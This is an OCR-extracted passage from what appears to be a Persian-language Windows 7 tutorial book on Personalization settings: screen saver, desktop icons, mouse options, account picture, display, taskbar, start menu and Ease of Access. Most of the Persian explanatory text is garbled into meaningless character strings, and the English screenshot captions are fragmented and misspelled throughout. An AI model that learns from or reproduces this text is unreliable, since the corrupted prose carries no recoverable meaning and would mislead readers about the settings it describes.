41569590»»939mbywdpbubdédbwﬁvwlw
$9 08 2 o)ld LS9 (59 USG5 HigapeS 2
«1»screen saver.
oly diglSiy Calio Foy HUSw 2 G0 ($39S 50l S WlaS ($5
t_ggo)lSL.,Jo_)L;J9.0.4.9.\9.>9Jl.)),}g.u.;..oSg.t.ulJL,:>delS
S0y Ay (b O bl oupsias]
«2»Previw. “
S350 Sx: 3 s 99 (535 0)9€ guli JSib S 2 S il 3
(58S 0)Suid b (3 duinys JSub
«3»Wait minutes.
L (2lig gl &5 guoli diing)g Ladg 00095 2 b (5395 gunli iy
S$15)9 a9
«4»Sattings.
9)95:S5)pgd Ju> d8J 53S9 )i id (5295 guwli LS il iolul)s
59 0)1S () YigusaS o)L 98483 95 53 9uwli 2 AUS JoS iz oS ol Jsié

gy dinb 2 )
o ) WY Screen Saver Settings - - ' X

B « Al Control Paneltems » Personalization v ‘ +4 ( P Screen Saver

RN
File Edit View Tools Help

High Contrast 1 High Contrast #2
Control Panel Home

Change desktop icons
Change your account picture

High Contrast Black High Contrast White /

_ 4
u —_— dh =2
L e &?J. ® Screen saver
Desktop Window Color Sounds Screen Save e

Display

Ribb 1 Seftings... Preview

Taskbar and Start Menu Backan ) E ? 4 3
Background Windows 7 Nindows Mone 4

Ease of Access Center Harr Basic Default " 2 Wait 1 On resume, display logon

Pow gem

Co ergy or maximize perfon d) g displ

bright: and other po ings

h e setting

(6o 1| cnad  [5em
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«4-1»Custom text.
Q 9wl 2 D G959 LalS b g o L ($39S guwli Gl o 4
L,JO)LJ wdpylsﬂguosgmbydﬁwo)&udxbw)ﬁm
L..Sg O)lS
«4-2»Choose font.
o S9N G2l o> 9wl S Gl S0 4
«4-3»Rotation type.
Sy JSubs poS Fropy OliSund 1y o> b (535S 9l S Gyl (53
45> )S| 03w «JoS 4SJ (5)S9.
«4-4»Surface style.
$2S Jn Joliw o> (b (5268 9wl S il (50
«4-5»Choose color.
$3S J0 Sy be 2 5o ($39S gl iy
«4-6»Rotation(low----high).
S pgS Fopy OliSuwmd b bas 2 (b (536 sl S Gyl (53 @
b GBS 0wl (53S9 S 55 b o))S 4y iy (5)S9 S

«4-7»Size(Small-----large).
(59 Gl (2 L (595 5izeS a2 b (39S gl dids
«4-8»0Kk.
o GISU gwli 533k
«5»Apply.
93> 13 g0l SIS (533L Sol @y Ly o5 55259 SS (53b JoS Cawlg>)s
U.JI)J,,) b o O liSiwy
«B»0K. o -
s . ~~ ——
b Resclution Lo ] | )
e m— | !
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(1)Change desktop icons.
J@Wd@ﬂ}mw&ygﬁgwéxbéngmbydﬁ}m
bd)bxigd»6jdgmb¢lsu>6)&wub¢w|wus}wmub
9mLuu9Jk_g)Sg-._§4JS(5mbL59|dJLU9|ub|b9|6§6ﬂmicéw
o S)H9 Ol et 4 Foy Sy 4

X Desktop Icon Settings (]

— — — =T

e : & ~|&
e d sounds on your computer
& Sestop background, window coler
MR 'P'l
ha® (% 3
Unsaved Theme ESGeez Zure
‘ﬁ o i
1 Recycle B
o fempty)
= Archirecrure Chasscters
J | ! Change kon... | | Restore Defaul
iy 2 ) i |
[V ] *-:’5' ® | | Allow themes to change desktop icons
- ok 1 Cancet |

System icon picture change
S35 U2 29405 oy S 1 HSHl pitwuw 2 S)let LI
Sl S35k Gl NgaaS 4y JglegaS J2 nguad yigaaS Slo A) 4>
on)lbdmkl)mmksﬁgdals‘sﬁboﬁléiowuﬁﬂ)béﬁg
U ) 00 9l £6)S9 SulS (s33b 48 ) 99 Lig> JSb 8 gl L2 b
S ol b gy 4 o (53 8 13 2 99ub Ll B )jo
thlCL)LU 69)J9¢n)l£é¢mbtj)t@6hbb>t5.})3d)lud> o)
93 535 &) dode S)LaS (5353 gunli > S aS gl ¢5)Sg SIS (5L
QJMQJJ&UQS)IGD)JUMQQJQMM

& Desktop Icon Settings - @ ‘ Change Icon @
| Dwanp .I.cons"
7 Look for icons in this file:
Deshkiop icons - |
V| Computer ¥| Recycle Bin SIS —— Browse...

User's Files [£] Control Pane! Select an icon from the list below:

Network I . : 3 B
| . X E, BYN
\JEUSI:G Network Fbc;{i‘ejﬁm ‘® 'T -I ,@ a| ! -

Pecyd.eBm L S 1l - v " &

{empty) - : - -_
ROOWETYR B[]
I m

I Change lcon Restore Default

7] Mlow themes to change desktep icens
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Desktop icons (Restore default).

In the desktop icons information.
ez B 09 S Ol OliSawy 4 Guligw )y @ e Caudlay) Heiwg) 4
SIS (535b i Hoiwg) 4 52 03 Wigy LS Wl b 4 o HSI
guliaw 9 £5)Sg SulS (533l Sal 4y Ly )59 SulS (533l (Ml 4y Ly ¢5,59
09 LSo 2 (Saslo B > Gilgdy A diglSid HSHl OUSuns 4

X

St
=

Shwoce o Perso11a]ize/(]hange mouse pointel‘S{l}

[¥] Mliow themes to change desktop icons

| 0K | Cancel

CaSde S0 o iy 5990 3 (S J9idg WS JN S Syge o
5 0l oo giluins Syse 3 . spS JoidS 0xmw oJo)lS 4y LuSy Solby
290 3 9l £65)S o5 )9S i JorisS 3 « )l laguis HuSy Salbiy (50
S SeandS Ji JopiiS 5 .860S 0)9¢ S Syg0 3 (5353 Sudyun p< gl
A5 093 uSe Syae 3 o)l glad LuSH Solby uinly Syee 5 xS
{5159 SS
Buttons

£625 JorisS O Syg0 Ji> 3 0y 819) S 4y Sy Solbiy (55

{1} Switch primary and secondary button
55 Soxls dode o by S)lo S (s33h s dils S gl 50 4
Lgmuumuugaadﬁumeb@oquunggmhm
o> 9igol)Sex 1 (Silar b OS> &y b 45 £5)Sg SulS (sl
uo)'.> <8 CUQ,,)JLQS t_Jl\;Suu.u,) 9.) 6)59 LSJJS 6.1)‘..) g,.)l..u.u > S8 9| 159

et | ? bt ™ * Control Panel » Al Coniroi Panel lems » Personaiizal ? Mouse Properties . U‘i’
| " . "

me arters | Porter Options | Whee! | Hardware
ton configuration

(langemivss ponis . - Switch pamary and secondary buttons pres
D SOy P = Select this check box to make the button on the

ot
right the: one you use for prmary functions such J’
.? | < ik Lo £
Unsaved Theme

Double-click speed

Do«.b click the folder to wr set‘ﬂg
folder does not open or u!ose Ty USNG &
mmg

Speed:  Slow ’J Fast

— CickLock

Jum on ClickLock

Enables you to highlight or drag withaout holding down the my
button. To setbne‘h 38 the mouse bution. To release, d{m
mouse button again.
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{1-2}Tum on clicklock.
90 93 903 2 IS g5 (59pg Aol S)lo Suf 53b s LI 4l @y
BgS gunls diuwgyg Cadg ) iy SIS juxS (s3L 480 @) i pod>
dode S)lo Suj aS gl (59 i3 (3L 420 ) ) ju0)S guwliw 65 (5)S (5N
L diwg)g 955259 SulS 030938 (S gine 4 guoliw 63 (5SS

.? Mouse Properties

wmnm[%numm{mlmu U‘“J (JJP)S )""U)S 9“"“'[‘“""

configuration

i i o sy B - 11-3} Apply on ok Aption click.

Select this check box to make the button on the
right the one you use for pimary functions such
as selecting and dragging. s

Doubleclick speed
Double-click the folder to test your setting. ¥ the
folder does not open ar close, try using a slower
setting
Speed. Sow |_J Fast
ClickLock
Jum on CickLock !
Enables you to highlight or drag without holding down the mouse . .
T e Personalize/Pointers

e ) [ Joda yuws by uS*J99S o)Ll
{1} Scheme.
(S5 N3y 0 pei A Higy Syg0 3 b i SHge 3 2 puw)S Syge
polie (> (S Guad )il S599)18 (SudhS 5 2 (59 )93l Su81)S 6
L7 (58S WgS dy |3 1aSe3 Blivg) 4y .53 J9ylS o)l JgyiiS by Jlad
ol 5 aSJ «(5)S 0wy iz Jae Sishily Juz b )0 guwlin
JoS daSuvly hlbo s G 5 b b Jiwadly
{2} Save As.
(SIS b ($339> 2 5D ($39S 9wl ($aib Gyl s

b Buttondll Poirters [Pointer Options | Wheel | Hardware |
[one) - N Scheme 1. Click This Tab l
e = = Windows Aero (system scheme) =]

Help Select lkg 3—-‘
Working In Background %{)
Busy (o)
Precision Seect + - g
I Eradde pres oo ( Use Defau | [ Bowse.. | ‘ 4. Click This Button H 3. Click This Button

[¥] Allow themes to change mouse pointers
| Allow themes to Chgnge mouse pointers
—_—
(o) Ccows ) [ Qwﬁw

Page 112
_agos.




(c) ketabton.com: The Digital Library

{3} Customize.

QLS 1 (6)S U0 JSd yw)yS 2 b $29S gl S il o
(85 0)9¢ gl JSuis Jogo b 45 dso Fro
{4}Use default
3L Ol $3 4 93 99 (525 019 S0 2 oS sl 1L Gl o
Spallagiwl JSib ju)S (593
{5} Apply on the Ok.
{6} Enable pointers shadow.

13 @ gwliw ¢i (S99 Lodle o b SHleST (535L Gl 53
mw)SsJO)Sd)sztoiMsglubu)aw}wﬁ@co»uhiwé
o B g

{7} Allow themes to change mouse pointers.
2905 OliSud gaoli 2 dlS dgylg dode S)lo S ($35b Guinl o
9l 03 (5)) 90 dode S)lo Sui aS gl (Spul @@ 4 JSus uwyS o3 (ol
S9 LSS0 42D A JSub juw)S 93 Sl pgual LS gwli > S

* Lo .
==
~ 1. Click This Tab
((None) - N ‘Windows Aero (system scheme) | [:}'_)
Delete Deleie
Customize: | Customize: | 2 Choose a Mouse Pointer
(I
Help Select D\?@ =
Working In Background ho Al o L o L 2 J
| Busy 0 Busy )
i L
Precision Select —|— . Precision Select p |
= TE——— P — 74 4.Click This Button || 3. Click This Button

i [¥] Allow themes to change mouse pointers el mpr
ok ) [ cmos ) [ iowv = = =
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Change mouse pointers/Pointer options.
Ol b digy s ()Ll 5
{1} Motion (slow----- Fast). |
o $B9S (579305 ol 185 S)> 9JeuisS 3u0)S 90l (5L (gl (53 4
{2} Snap to.
U}df)!bg)‘_gg)]gdo)l&é.a_wad)l.odqgmbLSAJLJL).uu|L5JQJdS
gulios 4y yuyS &) Sinosil 63 59 LN Guinl poS (5)3 A )5S |5 guls
S 4S9l (59 o)y yuw)S guwls LJSLS“))'Q’dSMLSQAjQ Ol
oM (inl 2gS (5)3 A 3)euS 15 guwli Lz dS yo (5)S (5)) dode S)lo
99L_>J9)‘)L75‘3"°9‘“’L’L.>>LSL>€95L59239L>SL$L-"LJ“->CUCU)M’)S9JL59
{3} visibility (Short----long).
Q Fon PliSins 3 93 Soplg dodle S)lo Sui gl (53 il o 4 &S
;)3 930)S (53 g0 dode S)lo Sui aS gl (5345 Jagu S SS9 pa0)S
5905 2 4 b gl ($553L) 2 @ 051l 9> (5puS Jsgub (Siler 4
{5}Hide pointers while typing.
|.)9_u.JLJU:>dJS).Q>ydg)lgdoﬂsd)bl&qwbdmbuw|6_\mqs
g0 dode S)lo S aS gl (5345 Sy  juw)S 95 LS b Frony LSy
i S p0)S 63 Sl b 9wl 2 osy oliSiunn 15 o3 ()]
{5} Show location of pointer when | press.
13 guwli > dlS )0 93 (594l dodle S)lo Sui guwli (s33b il (g3 4 &S
|y)diu.‘cuo))bmq_x>)m)5dlydﬁdﬁéwb@yumg

- |S
Buttons Pointers PmnlerOphons% L._SQS o) .
Motion
g i Apply on the Ok option click
Slow Fast
[]En ointer precisi
Snap To
[} L p default butt dialog
Visibil ty
o O
[AHid g
[Q [Csh p when | p CTRL key
OK Cancel
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Change mouse pointers/wheel.
{1} vertical scroll bar.

OL) oxpaiy (5353 03095 9wl 2 S Ol $9 4L JoySuw ($Ig0c
0yeaid (S ) 0)095 aS gl (595,18 O LSiz 4 U 0309300 95 (59
> W opw 0)h)S 4 iy (595 (599305 )8 U 009300 (S90S

{2} horizontal scroll bar.
59 L) Oppaus ($333 0)095 90l 2 S il 3 4 HL JgxSuw 89
(5905 )0 (§33F (2 )093 dS gl (595 S 0y iz 4 W 00930 o
o> L 0w 0)l)S 4 iy (595 (529305 HIS W 0)0g30

TN Pl whool one natch to sercl:
@ The follonng rumber of nes ot o time.

Honsortsl Sorotrg

T the mhes! 12 crol Iha fobawins mamter
) of charscten ot 5 tire

L

ieg |00 [EOLAA

Horizontal Scroll Bar

l |
A 1 601 TRE [T ] oA
- -

11 At 25em Ln 1 Col 1 ;

PR ™ = v e

T .

Vertical scroll bar

N
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o Mouse Pro p ertie:
Buttons Pointers Pointer Options  Hardware  Advanced
Devices
Name Type
@ Alps Pointing-device Mice and ot...
Device Properties
Manufacturer:  Alps Blectric
Location plugged into PS/2 mouse port
Device status: This device is working properly
Properties
Cancel

Change mouse pointers/Hardware.
{1} Devices (Nema---type).

U990 (1 95 00 YigrraS guliw 2 b 39S g0l S Gl $o @

$3 SiiS b (53 )

{2} Devices properties.
g 3. 4S5 gl (595 )18 dSgT dauw 4 S)g0 guulin 2 625 )i oy
G gy b i G2 89 s Jimmd by $)SI5 o) jusio
S92 3 gisSho Gliwg 35245 03U Jgo plaio @ gl (595 9iaz Wy
u-Q-Q’-)b uuﬂsnma S JoS i b Ja3iay 2S5 lewg

ol Sils

Change your account picture.

ouse hlgyn b JoJw nguad Cdgsl
1y b (5365 gl S dileS (50 ol

S5 42 4 yguai 13 (5)S JN pgead eS|
gl Lz dS ol S CSgSlHlgr &) ) S

Q il o5 (59 yoN> 9)gwld HiguaS

o> gl

{1} choose a new picture for your account.

gl pguai jo a5 (5353 (5)S JW nead 2 A ($F9S gl S (s3
,_gmb)as.ua.kpuml) 6&2[4)6)59&156&)[)425@69%9}
uwdx»w Gl 4y ganlinn 93 £5)S9 SulS

e

{&¥ » Control Panel » All Control Paneltems » Person:

Control Panel Home

Change desktop icons

Change the visuals and !

Click a theme to change the de:

Change mouse pointers My Themes (1)
Change your account picture
e
—

Unsaved Theme

Aero Themes (7)

S Tl
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{2} browser for more pictures.

olooh) sigual d55 00) Ji> Al (2 B 39S 50l S Gl 5o 4
{3} change picture.

S$25 U2 2905 93 2 b (5395 9l S3b il s 4

k=de

Y
e |88, « User Accounts » Change Your Picture w4l €
—
Choose a new picture for your account o _' : =
@T.Qv\-n Libraries b Pictures » + |5,|\ Search Pictures P
[ Al User Organize > Mew folder =+ A &
Administrator S
\ Password protected W Favorites Pictures |'braW Amange by:  Folder +
B Desktop Includes: 2 locations ?

The picture you choose will appear on the Welcome screen and on the Start menu.

& Dounloads
Recent Places

4 Libraries &
[Z Documents

& Music Sample Pictures DSCO7119
= Pictures
B Videos 2
) Homegroup
"% Computer
File pame: DSCOTLIS ~  [image Fles (".bp,".gif"jpg.". +
i
)
Cln:fl |

“ FastStone Capture

WII Microsoft Word 2010
il

ol
[

Control Panel

2. Click Up to Picture

Devices and Printers

Personalize/Display.
Ol (59 4 O liSwnd b (oxSiw b o)law
) (52 Gl OGS 57 D (SF9S gl S
Giaig )13 JSih 4 5izeS by Lo
2S5 0)u)g @ digogs gl (Ul 4S5)lace
S)9>

g Start BlueStacks

Default Programs
Adobe lllustrator CS5 ’ Help and Support

1. Click Start Button

P All Programs

Ei! + Contral Panel + 3 izati

Centrol Panel Home

(1) Apply.
=@ ) Contra Panel + Rpperance and Personsaation » Diplay [ %3 W Search Controt Fanet

Click a theme to changa the desktop backgraund, window colar @
Contrel Panel Home . : .
Make it easier to read what's on your screen

©

Change the visuals and sounds on your computer

Change desktop icons

Change mouse pointers

i Aero Themes 7)
Change your account picture i Mokt resolition You can change the size of text and other items on your screen by choosing cne of these options. To
temporarily enlarge just part of the screen, use the Magnifier tool.
Calibrate color
Change display settings
7) Smaller - 100% (defaul Previ
Adjust ClearType tea P r (default) review
Set customn text size (DP)
Wind, 7 Archetecture .
o @ Medium - 125%
; ‘ﬁl - Larger - 150%
Nature Unm

Basie and High Centrast Themes (8)

et ARY r
|
e Desktop Background Window Colos

Ease of Access Center Hasmony

[, Some items may not fit on your screen i you choose this setting while your diiolay
e o i on Caery )
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Personalize/Taskbar and start menu.

S 19> 9oulS 993 A I
The Start Button--Opens the menu. .
g (S3gu0M> 93 990 1 g
(1)Right-click Start on the desktop in personalize.
(2)Right-click Start on the taskbar in properties.
{1} Taskbar.
{1-1}[v1] look the Taskbar.

a3 Lo 535 dodle gremmo by Sylo S Lz 4lS gunli (533 Gpabyl (53 4
$353 b )b Saoli 5333 Lz b (5B 9a0l 95 xS S (il s
d.:(_;b).@ya..opumg |Jd59|uu‘o.ﬁ,_,.|9g¢_cd¢u9>¢lom@
o b d)g9 455 (5353 OliSiwy | asi sail SWlS Col) 4 b (39
dﬂi&L&ﬂOQ&4d§d(59¢w9>9uﬂuudﬁdegﬂuugA>bCUgghm
S35 ¥ B HLSwli 2 $39S b 4 gunliw o3 (S99 90

{1-2}[v'] Auto-hide the Taskbar.
SulS s23b (Ml (5353 9l (5949 S)Hlo S 9wl (5L Guinl g3 @y aS
)LSuwli ($353 Guge guwli oz AlS ol b g ) HLSwli (5253 93 (5)Sg
dS glis9 G 0 HLSuwli gi ($29 A |y &S gl i @ 0)B8ub o5 (S29]) U (S
)Sawli ) Zeopy OliSund 4 gawliw 93 0)S (5)) 90 dodle S)lo S
(st P i Sl

Toolbars : )
] , / IZL Taskbar and Start Menu Properties X
v Show Task View button |
Taskbar] Navigation Toolbars
) & / Search

Windows 7 Architecture [ock the taskbar -1
- > Cascade windows | EAAuto-hide the taskbar 1.2
% o |
) e . | Use smal taskbar butt
P = Show windows stacked ([ Lloe st trskier b shuns
1 _,m, . . i | Taskbar location on screen:  |Bottom w
i Show windows side by side |
\ = —— | Taskbar buttons: Always combine, hide labels
Metwre - Scenes Show the desk‘lop |  Notification area: Customize
Basic and High Contrast The:
Task Manager
v Use Peek to preview the desktop when y ove your mouse to the
m Lock the taskbar Srow deskiop bufton at e end of e askr
Desktop Background Window Ce Properties

Cancel
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{1-3}«?»Use small Taskbar button.
3L (3l (5353 4 L ol 59pl5 90 dode Slo S s15b (53 4 oS gl
50 dode S)lo (S43 45 gl Lk 5iz0S W gino HLSuwli (535F o {5)Sg SulS
O Fop PliSind 3 99 £6)S9 SulS (3L 3l (5353 4 Lo 9l o) (5]
o i giwo ) LSl (53

{1-4}Taskbar location on screen
(Bottom, left, right,top).
o ($B19 4 $5xo HLSuwli ($353 2 b ($39S o S Guinl (5o d
9 {559 SulS (535L (53l L_g.)o}! 4 Lo ol £5259 SUlS (535b by 9 @S
gunlinn 42 (555 Dluw > 45 gl b 0)1Suis HUSuwli @ 5 Dluw uid
- - | <1w9>
{1-5}Taskbar buttons(always combine,hide).
Lol ob ($15 03 S HLSuli 4y ))g8 i (39S 9wl S (il (55 4
33 @ gy HlidnlHgi S $Me @ LS HLSwli 4 sy S e
O Jg9
{1-5-1} Taskbar buttons [Never combine].

9.16)59&5*156.1.1‘.16)[)1@)bglg)ﬁUl};J‘gMde,_,SM'LSJQJ
o 0) 8 (5) M98 dil> 53k LSy 4y guolin

{1-5-2} Taskbar buttons (Always, combine,hide).
gJL;)Sgt_i.v.lS,__g.)JL)hgi.\‘dubglgéulxulgmbwu|6jmqs
)iy S Hlgy 92 ) (533 H LSl 4y guolin

{1-5-3} Taskbar buttons(combine when Taskbar).
(5259 SlS (533b (Ml (5353 4y L gl 9)S Ll guwli (535b il (3 4
dﬂ%mé)ﬂyymfbwwgywdésb)wbyﬁy

e & |
T— Page 119
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{1-6} Notification area.

o)l s> gl gLy 5 = 03 45 090 )b Sewli o dslw Liyps o
30yl 9L3ySil5 dolipy ol piecan 3 13 565 9> disz pun dlgosl
09D S Pl @ G2 0§34 Jo)lS o 0yl glagus giguse

dly ) gunliew 53 £5)Sg SalS (535b (iaSE g 4 gunli Lz AUS Harsyl
Joi 2 4 Oldul )93 093 S eSS 520 ) 2 b Lods dxiio

o 4l g3 S5l pige (s iyl Hlivgy
{1-6-1} Windows live Messenger Click.

gl Olidigl )95 092 (5353 93 £6)Sg SUS (533by Gyl 4y guoli > S yo

Erig)d dipb 2 A U
{1-6-1-1} Show icons and notification.

295 $33 Fop QS ) gl 93 9)S LIl s guli 2 dlS o
o o) JSub HSal @ 5gS

{1-6-1-2} Hide icons and notification.
4 95 (559 Sl ($33b Sl 4 Ly o 5255 SalS a0l 535 Gpaingl (55
i )9 0 JSib OSl S 798 (33 Frop QLS

{1-6-1-3} Turn system icons on or off.
G W 2> b o5 dduo Ay guwlivw ¢i {6)S9 SWS (s3b il (g3
uhuulummddju&|aapuh&m,) bu>u“-’c52959-'-'-’|-’usm
uwo)&»awuh&wém@csﬁuwbmddéw

|E » Control Panel + All Control Panel tems: » Motification Area lcons - \*,l Searct
b Nogfication Arsbkons = | &y [l] Seonch Controi Pomsl | oygy— Tools - Hel [
Select h ico d notifica ppear on the taskb:
- . y hide ificat entben anges e
£ e smallicons iy timy arrow nest otificat ackba
Taskbar location on screen: |
r . Ieons Behavio

Taskbar buttons: | Ahways combine, hide labels  +

Show icen and netifications
Notfication area
Customize which icons and notfications 1the [ cnmize... | & Nework

notficason area.

Preview desktop with Asro Peek
Temporarly vicw the desktop when you move your mouse to the
Show desktop button at end of the taskbar, Only show netifi

(V] Use Aero Peek to preview the desitop

o o | Qustomeze the tagibar?

(o ][ co )
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{1-6-1-3} Turn system icons on or off.

G W L2 G WS> Axiuo dly gwliuw 95 ¢5)S9 SulS (3L Gl s
Oyl Luasy 4y iSol Foy OliSund 15 Gz b (39S suwli S a9
i )b oy WliSund 4 G2 $iS N 8 9l 5)S i

{1-6-1-4} Restore default icon behaviors.
ol 4 Cl> S0 9o Ay 63 £6)S9 SlS (S35b (69 ) gl 2 S
99 S > agS S0 2 aS)

{1-6-1-5}(!) Always show all icons and notification.

demyégﬂgggq@isd)bd.qubgamgwb@qls
u>|)u5-'w,v Q @ gl (595 )18 HUSyl gy S

[E0'» Conol Panel » Al Control Panel ems » Notification Area Tcon B B N il
B+ Comndtan » ks Mebioson -
View Tools Help
EN—
Select which icons and notifications appear on the taskbar i -
o .
I you toh s tiﬂm' ouwon't cm:rfeu n anges or updates. To v
hidden ata t-m klh cm the notificatio lhc skbar = Qe on_7]
....... =
ons Behaviors Hetanl
On
icon .
— —
i bt i =

Shun and n nf at jons
and notific;

H|d

Volume

L] Microsoft Office Comm... [ 0o s

Action Center

Only show notifications

the taskbar

== =

1-6-1-4

| Cancel
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personalize/Start menu.
{2} Start menu.
oz V980l pgS Fuojy OliSund 1 2 i (5395 9l S gine (53 @)
53 Oluyi glgais gl glguods HSul dlawly 4y juw)S 1 S ddo (53 Gl
) {2-1} Customize. | )
{2-01} Display as a link.
Q) L gl {5559 SulS (535L Sl @y Ly gl 53S9 SIS (535b il (53 4
G2 S A9l S OlSuns 4 guoliw @y 13 63 £5)Sg SIS (533 (30!
Sp0d> OS] NigaeS 4 diwg)g (595 SIS (3L Sl YigapeS 9wl
{2-02} Display as a menu.
@ Lo ol £5259 SS (s33b Sl @y Lo gl ¢5)S9 SlS (s6b il (50 @ 9
G2 4S abS)eT S OlSin) 4y guolin @ 15 93 ¢5)Sg SIS (533b sl
Q diwg)g 8195 SulS dl sudi 9 Lloly p0)S (33 Ol HigapeS 9u0ls
Spod> S0l HigrreS
{2-03} Don't display the item.
SIS (533b Sol 4y Loy gl £5yS9 SulS (533b (il (53 @ guoli > S gl
Ol YigaseS 4y S b9l 44 55 £5)S9 SWS (5 33L (sl 4 Lo 9l 55
W S)9

o= N | Customize Start Menu
ke Taskbar and Start Menu Properties ﬂ o
: You customize how links, icons, and menus and behave on the
= G == b : R
To customize ROW links, icons, and menus look and m‘ -~ m
behave in the Start menu, dick Customize. ; ‘E- Desplay as a lnk 2-01
@ Display asameru 7-()2
| Power button action: [Shut down - Don't display this item 2-(03
Connect To
Privacy 4 Control Panel
[V] Store and display recently opened programs in the Start menu @ Desplay as a ink
[V Store and display recently opened items in the Start menu and the Drsﬁ.a" e
taskbar Don't dsplay ths item
Default Programs
| Devices and Printers
= Documents
— @ Gaiuaaiill ® Display a5 2 bk
| Ow Dxsplay as a menu
g weu Don't dsplay thes item
7y | Enable context menus and dragging and dropping
e Favorites menu
) T Games
Desolav a3 8 ink

Start menu size
Number of recent programs to display: 05

o3 Use Default Settings OK Cancel
|\\:} R
0] worssa
b AN Programs
© @ > |




(c) ketabton.com: The Digital Library

{2-00} Control panel.

{2-01}Display as a link.
CULngL_g)Sgnj...lSL_gJdegldJL,.J9|k5259c_i;.15‘5.)5b0.&u|6.3<09|
2 S 1Sl S liSaun) 4y sunlian 4y 1y 53 ¢5)S5 SIS (53l Yl

OSHl Jig JopiiS @) diwsg)g (595 SlS (535b ol S J9yiiS gaol
SRaSS

{2-02} Display as a menu.
clJLngLS)ng_i.tlSd.ijdgldJL;ngk_g)Sgc_i;.lSLg.ijQ;id AR
o2 S aS)edll S liSand @) sunlion 4113 65 £5)S5 SIS (53l (53
U diung)g 9)9S SulS & a2 93 Globy 20xS (533L GOl Sy J S guli
Spmod> HSol Jiy JoyiuiS

{2-03} Don't display the item.

S 5330 Sol 4 Ly ol 5355 SlS (533b (il (63 @) 9ali oz IS
iy JoriiS 4 S alySraall 4y 93 £6)S9 SIS (533b (531 @ Lo 9l ¢S
$95 )55l I HlidnlHe5 (a3 gl i S)e OSI

{2-04}Use Default setting.
S 533b Sol 4y Ly gl £5)S9 <SS (533b (pedigl (59 4 9unli Lz IS o

L_AJ[?UJSDLOQJL_JLLLJ)J w@ygﬁgmdmbébbl@ Lo ol 5259
Customize Start Menu ot U.quﬂdJ

You can customize how lnks, cons, and menus look and behave on the

Start menu.
Taskba w Toobars |
L L J Computer |

To customize NOW links, icons, and menus look and m Deplay a3 8 Ik

behave in the Start menu, dick Customize, “k- @ Display as a menu
Don't dsplay this item

..L Taskbar and Start Menu Properties @

Connect To

Power button action: | Shut down v] B Contrel Parad 2-00
© Display as a ik 2-()
Privacy Display as ameru 2-()2

Don't desplay thes item 2-03
Defauit Programs
/| Store and display recently opened items in the Start menu and the ¥| Devices and Printers
* Documents

@ Display as a bnk
Acoess Center Desplay as a menu

o Don't dsplay thes item
o pp—_ | Enable context meénus and dragong and dropong
< S Favonites menu
T Games
am Disolav 85 3 bnk

/| Store and display recently opened programs in the Start menu

Start menu size
Number of recent programs to display: 10 =

Use Default Settngs 7- (4 oK Cancel

Mop Cornections

i Programs

|3 IR ] it deiond | page 123
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personalize/Start menu.
{2-2} power button iction.
4 S phSrsdl 4 S gine yliw 4 2 b (5395 sl S il (59 4
Sz 4 9uli 2 )l (5313 (65 Jw b gz Gilsine S lw b
CioSlHlgy Cagw i SeliduniHgawd aS) (5)S 0)99 O3 Ju> 0pww
{2-3}(?)store and display recently opened programs in the.
Start menu.
420 (o) 4 9390)S9)0 1 ($33L gipe L)l 4 93 £65)S9 SIS (5aily (S
Q 99 S99 2 90 dode S)lo S oS 9l (59 (525 YN 90l 2 poS
ot 99900)S9 3 4 3L gine )
{2-4}(?) store and display recently opened items in the.

Start menu in the Taskbar.
U )90 ol g2m9 ) (3L gino Oo)liw 4 o5 (5259 Sals c?s-\ibl“sﬂ.d_.l
1 90 aode S)lo Sui &S gl (59 525 VOS> 9l 2 peS A%D uud
o S99 9l 93209 1 (S sive L)l ) o3 (Saplg

' g N
ok Taskbar and Start Menu Properties ﬂ

| Taskbar | Start Menu | roabars
To customize how links, icons, and menus look and m
behave in the Start menu, dick Customize. [

Power button action: | Shutdown -7 'j

Privacy
[¥] Store and display recently opened programs in the Start menu? -3

|¥| Store and display recently opened items in the Start menu and the
taskbar -
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personalize/Taskbar and Start menu.
{3} Toolbar.
Ol )gi a2y SHb Jsi @ G2 o0 (5395 9wl S Bl 53 4
o) I b LS 9ledyguS gude Sidd (w3l aSU (558 48Ul
{3-1} Address and Link.

L 9l ($9p)9 dodle o b S)lo S (533b Gl (59 4 9l 2 IS yo
4>l (bSO Cgi 4 oy ulJSJuJQngJ(SA;Sng.lSLS_\de)UdJ
595 )5 oy Gyl d 2 ol uu»' 003 1 (533l

61156-\514@‘4,‘@Lﬂeglgsést—iagifgswbuue'gsﬂewligedﬁm
Ol 2)544S 0 ($35b dolw uinSS g ) Fopy DliSuud 4 65 (5259

oD S 2 dawly ) Hw)S 5 e OliSy Iy ol Ll
{3-4} Desktop

-.S.‘.ISL_g.\jbk_g)bldJbgléﬁgwdxbwldawwliydﬁp
PN |39¢ULA¢04JLSJJle>LuJL}LuSQLr)9JdJC.O)JuL&uM.)dJ9J(5)S9

Ta!d:ar;m' |

Select which toolbars to add to the taskbar,

‘!&1

Lirks
Touch Keyboard
Desktop
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Personalization/Ease of access center.

BT M (595 gz Cu990 ($HSxr0 LS Jiwd JoriS 3 3o w3 S
5 &b oS gunls 8625 ek ol gl Ol Gy 3 G (oS gunls
93 3 KigapeS gunlin 953 £6)S )i e iyl o)l 93Lu)s
SIS Gy 0w ST 55 45 3S)0 .(5)S Slwl 0l 9)g) 1S 9l 6Jay)gl
9259 SulS @ = By 45 (SHuodls g)d galize 4y L
(1)-Personalization~ Ease of Access Center.
(2)-Start Menu - Control Panel » Ease of Access Center.

(3)-Start Menu-search.

EE All Control Panel items - ]

4 [EH » Control Panel » All Control Panel ltems v &

Adjust your computer’s settings
I 2 o
i sy Date and Time '0 Default Programs
i Windows 7
- s ey Device Manager S Devices and Printers

] | Q] Display @ Ease of Access Center

ature -
Basic and High Contrast Theme: —

File Explorer Options & File History
Desktop Background

{1}Ease of access center
{1-1}(?) Always ready this section aloud.
099 € 9l W s b 4 i 95 (S9plg 2 90 dode S)lo Suj (523L (53 S
(5923 2)S 90U (2 psS Llo Oluinl
{1-2}(?) Always scan this section.
Ls;Suxway IMJngJstJg)Jwuﬂsd)lodugogsxb@ﬁgl

« ~ 4 @ « Easeof Access » Ease of Access Cen v . strol Pacel B

Control Panel Home -
Make your computer easier to use
W Chungalisin st Quick access to commeon tools

You can use the tools in this section to help u get started.

ist automatically. Press the
SFMEEM ..-m h mghlgh ted tool.

1- @mys his section [ Abways scan this section

=2

& | start Magnifier ™ Start Narrator

= Start On-Scr = SetupHigh
Keyboard Contrast

et recommendations to make your

INot sure where to start
. omputer easier o use

Explore all settings
When you select these settings, they will automatically start each time
you sign in.
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{1-3} Start Maghnifier.
3 oz b ($)95 Fosy GSuw 2 o ($B9S 9l S Bl S0
